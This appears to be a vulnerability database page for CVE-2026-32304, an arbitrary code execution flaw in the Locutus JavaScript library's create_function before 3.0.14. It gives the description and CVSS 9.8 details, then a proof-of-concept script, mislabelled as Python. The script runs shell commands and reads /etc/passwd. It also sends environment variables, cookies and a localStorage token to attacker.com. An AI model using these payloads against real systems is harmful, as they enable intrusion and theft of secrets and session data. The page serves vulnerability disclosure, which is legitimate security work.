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CVE-2026-32304 CVSS 9.8 CRITICAL

CVE-2026-32304

Published: 2026-03-13 19:54:42
Last Modified: 2026-03-19 13:48:34

Description

Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to 3.0.14, the create_function(args, code) function passes both parameters directly to the Function constructor without any sanitization, allowing arbitrary code execution. This is distinct from CVE-2026-29091 which was call_user_func_array using eval() in v2.x. This finding affects create_function using new Function() in v3.x. This vulnerability is fixed in 3.0.14.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:locutus:locutus:*:*:*:*:*:node.js:*:* - VULNERABLE
Locutus v3.x < 3.0.14

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-32304 PoC - Locutus create_function Remote Code Execution // Affected versions: Locutus < 3.0.14 // Simulating vulnerable create_function implementation function vulnerable_create_function(args, code) { // Vulnerable: Direct use of Function constructor without sanitization return new Function(args, code); } // PoC 1: Basic RCE via create_function try { const maliciousFunc = vulnerable_create_function('', 'return require("child_process").execSync("whoami")'); console.log('[PoC 1] Executing command...'); console.log('Result:', maliciousFunc()); } catch (e) { console.log('[PoC 1] Error:', e.message); } // PoC 2: Read arbitrary files via Node.js try { const fileReadFunc = vulnerable_create_function('', 'return require("fs").readFileSync("/etc/passwd", "utf8")'); console.log('[PoC 2] Reading /etc/passwd...'); console.log('Content:', fileReadFunc().substring(0, 200)); } catch (e) { console.log('[PoC 2] Error:', e.message); } // PoC 3: Exfiltrate environment variables try { const envExfilFunc = vulnerable_create_function('', 'const exfil = JSON.stringify(process.env); require("https").request({hostname:"attacker.com",path:"/collect?data="+encodeURIComponent(exfil)}); return "Environment exfiltrated";'); console.log('[PoC 3] Environment exfiltration...'); console.log('Result:', envExfilFunc()); } catch (e) { console.log('[PoC 3] Error:', e.message); } // PoC 4: Web context - Steal cookies/localStorage try { const webExfilFunc = vulnerable_create_function('', 'fetch("https://attacker.com/steal?cookie="+document.cookie+"&local="+localStorage.getItem("token"));'); console.log('[PoC 4] Web context exfiltration...'); webExfilFunc(); } catch (e) { console.log('[PoC 4] Error:', e.message); } console.log('[!] This PoC demonstrates the RCE vulnerability in Locutus create_function'); console.log('[!] Fix: Upgrade to Locutus v3.0.14 or later');

References

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